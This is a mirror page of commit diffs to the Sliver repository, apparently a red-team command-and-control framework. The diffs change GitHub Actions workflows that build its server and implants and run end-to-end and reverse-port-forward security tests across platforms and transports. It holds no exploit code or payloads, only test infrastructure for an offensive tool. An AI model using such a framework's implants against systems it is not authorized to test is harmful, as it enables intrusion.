mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
134
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4afcd5bc9d | ||
|
|
c746a5262c | ||
|
|
e91cdf117f | ||
|
|
1fb671f71b | ||
|
|
c43347886b | ||
|
|
4ef33f389c | ||
|
|
acd52520e4 | ||
|
|
9a373e20f0 | ||
|
|
aad186a632 | ||
|
|
ec9d9b2cc1 | ||
|
|
05d3b2604b | ||
|
|
c3e8a97f66 | ||
|
|
547a56696d | ||
|
|
84bb2397c7 | ||
|
|
503d040885 | ||
|
|
801452eeff | ||
|
|
f6c7d73014 | ||
|
|
228757f656 | ||
|
|
738010e990 | ||
|
|
9dcf9b2d25 | ||
|
|
32ab020dbd | ||
|
|
6fcaf970b1 | ||
|
|
47c83bbaa0 | ||
|
|
7d76febbc9 | ||
|
|
f4c182427f | ||
|
|
836e33ade7 | ||
|
|
0aa7e5bf96 | ||
|
|
b46df4b05e | ||
|
|
cbc9200649 | ||
|
|
a0bf009c06 | ||
|
|
46f516fa3a | ||
|
|
1f82c38e11 | ||
|
|
6ac84ffc11 | ||
|
|
2638b5f384 | ||
|
|
cf19741b9d | ||
|
|
b2c0979b63 | ||
|
|
ea5e1412b2 | ||
|
|
bd948b8ab1 | ||
|
|
937a74d597 | ||
|
|
e747187dda | ||
|
|
ec992dea76 | ||
|
|
544c872881 | ||
|
|
4701b895b7 | ||
|
|
18c56ec3c5 | ||
|
|
4b12c80534 | ||
|
|
a8c6d5e0a3 | ||
|
|
67c6d0d356 | ||
|
|
5e3b432b9b | ||
|
|
fc4d9a1c36 | ||
|
|
55b97df9f7 | ||
|
|
227328fa87 | ||
|
|
071106d0bf | ||
|
|
8c326e6af9 | ||
|
|
5e9ba47bf4 | ||
|
|
0537e285fc | ||
|
|
ca685f5eed | ||
|
|
902999493b | ||
|
|
14363c5d2a | ||
|
|
926b7ae1a7 | ||
|
|
bf815b36ed | ||
|
|
637853e8c2 | ||
|
|
0c022ec722 | ||
|
|
7c83b458fa | ||
|
|
f447a170c6 | ||
|
|
d565592773 | ||
|
|
c21da4dceb | ||
|
|
b08e2ff5c0 | ||
|
|
09b0540e75 | ||
|
|
b4005efda8 | ||
|
|
6d086fd7a7 | ||
|
|
ccebd505b0 | ||
|
|
94c5022dd0 | ||
|
|
b19e383111 | ||
|
|
02ebd99c68 | ||
|
|
83d82e7161 | ||
|
|
c481a4f5db | ||
|
|
eb5ac1b309 | ||
|
|
e73618e0a5 | ||
|
|
0017fd2fe8 | ||
|
|
e44111b6b4 | ||
|
|
aa2dce510a | ||
|
|
5e6acde3c7 | ||
|
|
99a8d3f859 | ||
|
|
fc15a47b1e | ||
|
|
8b32b6525f | ||
|
|
9e0fafb785 | ||
|
|
12ebffb16c | ||
|
|
b539762de7 | ||
|
|
e71af809d4 | ||
|
|
f3ffa3323b | ||
|
|
778331d474 | ||
|
|
8d259577af | ||
|
|
aa108a66a8 | ||
|
|
44e5464950 | ||
|
|
1381200b33 | ||
|
|
f81b250a04 | ||
|
|
8b4ee5f5c5 | ||
|
|
68cb1363e8 | ||
|
|
2344a3ae50 | ||
|
|
8cec5164b7 | ||
|
|
be50c25cb2 | ||
|
|
ee2cc83aa1 | ||
|
|
8e62e2dcd9 | ||
|
|
1347059639 | ||
|
|
29efea561c | ||
|
|
82deca2b0f | ||
|
|
808b3b6408 | ||
|
|
eba10ebbfc | ||
|
|
13903e46a8 | ||
|
|
8aaaa583bd | ||
|
|
4b428065e2 | ||
|
|
578f9a28d0 | ||
|
|
ce2f494f96 | ||
|
|
c1c36491a6 | ||
|
|
a5c3482c6d | ||
|
|
b428274515 | ||
|
|
5dc6adae47 | ||
|
|
264b00f3c7 | ||
|
|
ada79c8ecd | ||
|
|
edd4c3d097 | ||
|
|
38f84a4f6f | ||
|
|
aee0958e99 | ||
|
|
23c067982a | ||
|
|
7e917da3ac | ||
|
|
674b49f41f | ||
|
|
4ba04df621 | ||
|
|
3274382bc7 | ||
|
|
9c9943c94c | ||
|
|
2e9b52371e | ||
|
|
6d6df68972 | ||
|
|
7f863d3172 | ||
|
|
6ecb379bce | ||
|
|
b5d3d0bad6 | ||
|
|
528b04427a |
No files matched your search
@@ -0,0 +1,4 @@
|
||||
# Preserve pinned upstream source and attribution files byte-for-byte.
|
||||
client/command/opfor/testdata/corpus/** -text
|
||||
client/command/opfor/testdata/corpus/operatorskit/*.cna whitespace=-trailing-space,-blank-at-eof
|
||||
vendor/github.com/sliverarmory/opfor/internal/regexp2/ATTRIB whitespace=-trailing-space
|
||||
@@ -39,10 +39,18 @@ jobs:
|
||||
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
|
||||
release:
|
||||
name: Release
|
||||
e2e:
|
||||
name: End-to-end test suites
|
||||
needs: tag-check
|
||||
if: needs.tag-check.outputs.tag != ''
|
||||
uses: ./.github/workflows/comprehensive-e2e.yml
|
||||
|
||||
release:
|
||||
name: Release
|
||||
needs:
|
||||
- tag-check
|
||||
- e2e
|
||||
if: needs.tag-check.outputs.tag != '' && needs.e2e.result == 'success'
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
timeout-minutes: 45
|
||||
@@ -52,10 +60,10 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
@@ -16,10 +16,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -0,0 +1,551 @@
|
||||
name: Comprehensive e2e Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
test_scope:
|
||||
description: Test scope to run across the complete platform matrix
|
||||
required: true
|
||||
default: comprehensive
|
||||
type: choice
|
||||
options:
|
||||
- comprehensive
|
||||
- rportfwd
|
||||
workflow_call:
|
||||
inputs:
|
||||
test_scope:
|
||||
description: Test scope to run across the complete platform matrix
|
||||
required: false
|
||||
default: comprehensive
|
||||
type: string
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
SLIVER_E2E_SCOPE: ${{ inputs.test_scope || 'comprehensive' }}
|
||||
|
||||
concurrency:
|
||||
group: comprehensive-e2e-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
authorize:
|
||||
name: Authorize invocation
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- name: Check actor repository permission
|
||||
uses: actions/github-script@v9
|
||||
env:
|
||||
REQUESTING_ACTOR: ${{ github.triggering_actor }}
|
||||
REQUESTED_SCOPE: ${{ inputs.test_scope || 'comprehensive' }}
|
||||
with:
|
||||
script: |
|
||||
const testScope = process.env.REQUESTED_SCOPE || "comprehensive";
|
||||
if (!new Set(["comprehensive", "rportfwd"]).has(testScope)) {
|
||||
core.setFailed(`Unsupported E2E test scope: ${JSON.stringify(testScope)}`);
|
||||
return;
|
||||
}
|
||||
core.info(`Validated E2E test scope ${testScope}`);
|
||||
|
||||
const isReleaseTag = context.eventName === "push" && context.ref.startsWith("refs/tags/v");
|
||||
if (isReleaseTag) {
|
||||
core.info(`Authorized release test invocation for ${context.ref}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const actor = process.env.REQUESTING_ACTOR || context.actor;
|
||||
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
username: actor,
|
||||
});
|
||||
core.info(`${actor} has repository permission ${data.permission} (${data.role_name})`);
|
||||
if (data.permission !== "admin") {
|
||||
core.setFailed("Comprehensive e2e Tests may only be run by repository administrators");
|
||||
}
|
||||
|
||||
rportfwd-security-regression:
|
||||
name: Reverse-port-forward malicious protocol regression
|
||||
needs: authorize
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
env:
|
||||
SLIVER_ROOT_DIR: ${{ runner.temp }}/sliver-rportfwd-security
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Test malicious destination poisoning and cross-session isolation
|
||||
env:
|
||||
SLIVER_ROOT_DIR: ${{ runner.temp }}/sliver-rportfwd-security
|
||||
run: >-
|
||||
go test -buildvcs=false -mod=vendor
|
||||
-tags=server,osusergo,netgo,go_sqlite,sliver_e2e
|
||||
./server/c2
|
||||
-run '^TestMTLSYamux_ReversePortForwardAuthorizationCannotBePoisonedOrReplayed$'
|
||||
-count=1 -v
|
||||
|
||||
darwin:
|
||||
name: comprehensive-e2e-darwin-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'darwin/%s\n' '${{ matrix.goarch }}' > e2e-results/target-darwin-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run selected E2E scope
|
||||
run: |
|
||||
set -o pipefail
|
||||
./sliver-comprehensive-e2e \
|
||||
-test.v \
|
||||
-test.run=^TestComprehensiveE2E$ \
|
||||
-test.timeout=0 \
|
||||
-repo . \
|
||||
-server ./sliver-server \
|
||||
-server-arch ${{ matrix.server_arch }} \
|
||||
-target-os darwin \
|
||||
-target-arch ${{ matrix.goarch }} \
|
||||
-results ./e2e-results \
|
||||
-transports mtls,wg,http \
|
||||
-implant-modes session,beacon \
|
||||
-beacon-interval 10s 2>&1 | tee ./e2e-results/selected-e2e.log
|
||||
|
||||
- name: Verify target reverse-port-forward coverage
|
||||
if: ${{ always() }}
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/rportfwd-report
|
||||
-input e2e-results
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-transports mtls,wg,http
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-darwin-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-native:
|
||||
name: comprehensive-e2e-linux-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/%s\n' '${{ matrix.goarch }}' > e2e-results/target-linux-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run selected E2E scope
|
||||
run: |
|
||||
set -o pipefail
|
||||
./sliver-comprehensive-e2e \
|
||||
-test.v \
|
||||
-test.run=^TestComprehensiveE2E$ \
|
||||
-test.timeout=0 \
|
||||
-repo . \
|
||||
-server ./sliver-server \
|
||||
-server-arch ${{ matrix.server_arch }} \
|
||||
-target-os linux \
|
||||
-target-arch ${{ matrix.goarch }} \
|
||||
-results ./e2e-results \
|
||||
-transports mtls,wg,http \
|
||||
-implant-modes session,beacon \
|
||||
-beacon-interval 10s 2>&1 | tee ./e2e-results/selected-e2e.log
|
||||
|
||||
- name: Verify target reverse-port-forward coverage
|
||||
if: ${{ always() }}
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/rportfwd-report
|
||||
-input e2e-results
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-transports mtls,wg,http
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
windows:
|
||||
name: comprehensive-e2e-windows-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'windows/%s\n' '${{ matrix.goarch }}' > e2e-results/target-windows-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server.exe ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e.exe ./test/e2e
|
||||
|
||||
- name: Run selected E2E scope
|
||||
run: |
|
||||
set -o pipefail
|
||||
./sliver-comprehensive-e2e.exe \
|
||||
-test.v \
|
||||
-test.run=^TestComprehensiveE2E$ \
|
||||
-test.timeout=0 \
|
||||
-repo . \
|
||||
-server ./sliver-server.exe \
|
||||
-server-arch ${{ matrix.server_arch }} \
|
||||
-target-os windows \
|
||||
-target-arch ${{ matrix.goarch }} \
|
||||
-results ./e2e-results \
|
||||
-transports mtls,wg,http \
|
||||
-implant-modes session,beacon \
|
||||
-beacon-interval 10s 2>&1 | tee ./e2e-results/selected-e2e.log
|
||||
|
||||
- name: Verify target reverse-port-forward coverage
|
||||
if: ${{ always() }}
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/rportfwd-report
|
||||
-input e2e-results
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-transports mtls,wg,http
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-windows-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate-rportfwd:
|
||||
name: Aggregate reverse-port-forward E2E coverage
|
||||
needs:
|
||||
- authorize
|
||||
- rportfwd-security-regression
|
||||
- darwin
|
||||
- linux-native
|
||||
- windows
|
||||
if: ${{ always() && needs.authorize.result == 'success' }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download target coverage
|
||||
id: download
|
||||
continue-on-error: true
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: comprehensive-e2e-target-*
|
||||
path: rportfwd-coverage-input
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
mkdir -p rportfwd-coverage-input rportfwd-coverage-summary
|
||||
printf 'Reverse-port-forward E2E coverage aggregate\n' > rportfwd-coverage-summary/README.txt
|
||||
|
||||
- name: Aggregate coverage and enforce all 162 required cells
|
||||
id: aggregate
|
||||
if: ${{ always() }}
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/rportfwd-report
|
||||
-input rportfwd-coverage-input
|
||||
-output rportfwd-coverage-summary
|
||||
|
||||
- name: Publish reverse-port-forward coverage table
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
report="rportfwd-coverage-summary/rportfwd-coverage.md"
|
||||
if [[ -s "${report}" ]]; then
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
else
|
||||
printf 'Reverse-port-forward coverage report is missing or empty: %s\n' "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
fi
|
||||
|
||||
- name: Upload aggregate reverse-port-forward coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-rportfwd-coverage-summary
|
||||
path: rportfwd-coverage-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed prerequisites, missing, malformed, or unavailable coverage
|
||||
if: ${{ needs.rportfwd-security-regression.result != 'success' || needs.darwin.result != 'success' || needs.linux-native.result != 'success' || needs.windows.result != 'success' || steps.download.outcome != 'success' || steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
|
||||
aggregate-coverage:
|
||||
name: Aggregate comprehensive E2E coverage
|
||||
needs:
|
||||
- authorize
|
||||
- rportfwd-security-regression
|
||||
- darwin
|
||||
- linux-native
|
||||
- windows
|
||||
if: ${{ always() && needs.authorize.result == 'success' && inputs.test_scope != 'rportfwd' }}
|
||||
outputs:
|
||||
command_coverage_markdown: ${{ steps.publish_command_coverage.outputs.command_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download target coverage
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: comprehensive-e2e-target-*
|
||||
path: coverage-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p coverage-input coverage-summary
|
||||
printf 'Comprehensive E2E coverage aggregate\n' > coverage-summary/README.txt
|
||||
|
||||
- name: Aggregate coverage and enforce required cells
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/report
|
||||
-input coverage-input
|
||||
-output coverage-summary
|
||||
|
||||
- name: Publish command coverage table
|
||||
id: publish_command_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
detailed_report="coverage-summary/coverage-summary.md"
|
||||
report="coverage-summary/command-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Command coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="COMPREHENSIVE_E2E_COMMAND_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Command coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'command_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
if [[ -f "${detailed_report}" ]]; then
|
||||
cat "${detailed_report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
fi
|
||||
printf '\n## Command coverage by OS/architecture/transport\n\n' >> "${GITHUB_STEP_SUMMARY}"
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-coverage-summary
|
||||
path: coverage-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed prerequisites or failed or not-run coverage
|
||||
if: ${{ needs.rportfwd-security-regression.result != 'success' || needs.darwin.result != 'success' || needs.linux-native.result != 'success' || needs.windows.result != 'success' || steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
|
||||
reflektor:
|
||||
name: Existing Reflektor test matrix
|
||||
needs: authorize
|
||||
if: ${{ inputs.test_scope != 'rportfwd' }}
|
||||
uses: ./.github/workflows/reflektor-tests.yml
|
||||
|
||||
shellcode:
|
||||
name: Shellcode E2E test matrix
|
||||
needs: authorize
|
||||
if: ${{ inputs.test_scope != 'rportfwd' }}
|
||||
uses: ./.github/workflows/shellcode-tests.yml
|
||||
@@ -20,7 +20,6 @@ on:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
@@ -41,16 +40,17 @@ jobs:
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Go 1.26.6
|
||||
- name: Go 1.27.1
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "1.26.6"
|
||||
go-version: "1.27.1"
|
||||
|
||||
- name: Run golangci-lint
|
||||
uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
version: v2.12.2
|
||||
# Keep legacy findings visible without making them blockers.
|
||||
only-new-issues: true
|
||||
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
version: v2.13.1
|
||||
# Gate only findings introduced since the event base revision.
|
||||
args: --new-from-rev=${{ github.event.pull_request.base.sha || github.event.before }} ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
@@ -0,0 +1,164 @@
|
||||
name: Reflektor Integration Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
darwin:
|
||||
name: reflektor-darwin-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-native:
|
||||
name: reflektor-linux-${{ matrix.goarch }}-native
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
windows:
|
||||
name: reflektor-windows-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: amd64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
